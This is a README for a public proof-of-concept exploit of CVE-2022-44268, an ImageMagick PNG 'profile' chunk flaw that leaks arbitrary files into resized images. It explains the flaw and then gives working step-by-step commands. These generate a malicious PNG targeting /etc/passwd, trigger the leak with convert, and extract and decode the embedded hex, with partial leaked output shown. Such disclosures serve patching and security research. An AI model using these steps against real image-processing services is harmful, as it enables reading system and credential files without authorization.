PoC of Imagemagick's Arbitrary File Read# CVE-2022-44268
This repository contains a Proof of Concept (POC) for a vulnerability in [ImageMagick](https://github.com/ImageMagick/ImageMagick) (v. 7.1.0-49), a widely used open-source image manipulation library. The vulnerability allows an attacker to embed the content of an arbitrary file into a resized image when ImageMagick parses a PNG file.
## Description
When ImageMagick performs operations such as resizing on a PNG file, it may include the content of a system file, given that the magick binary has the necessary permissions to read it. This vulnerability arises due to the mishandling of textual chunks within PNG files.
A malicious actor can exploit this vulnerability by crafting a PNG file or using an existing one and adding a textual chunk type (tEXt). These chunks consist of a keyword and a text string. In this case, if the keyword matches the string "profile" (without quotes), ImageMagick will interpret the accompanying text string as a filename and attempt to load its content as a raw profile. As a result, when the resized image is downloaded, it will contain the content of the remote file specified by the attacker.
For more information, see [this article from MetabaseQ](https://www.metabaseq.com/imagemagick-zero-days/).
## Proof of Concept
To exploit Imagemagick, generate a malicious png:
```shell
python3 CVE-2022-44268.py /etc/passwd # Create output.png
```
Then, run a resize operation with convert:
```shell
convert output.png -resize 50% leak.png
```
Finally, inspect the leak image and convert the `Raw profile` to hex:
```shell
identify -verbose leak.png
# ...
Raw profile type:
2367
726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]
```
```python
python -c "print(bytes.fromhex('726f6f743a783a303a303a726f6f743a2f726f6f743a2f6269 [...]'))"
```
> Note: This POC is intended for educational and informational purposes only. Please ensure that you have the necessary permissions and legal authorization before testing or using this POC on any system.
[4.0K] /data/pocs/46169501cb26cc86397676e376803bbc81886bb0
├── [ 394] CVE-2022-44268.py
├── [1.2K] LICENSE
├── [2.0K] README.md
└── [ 351] source.png
0 directories, 4 files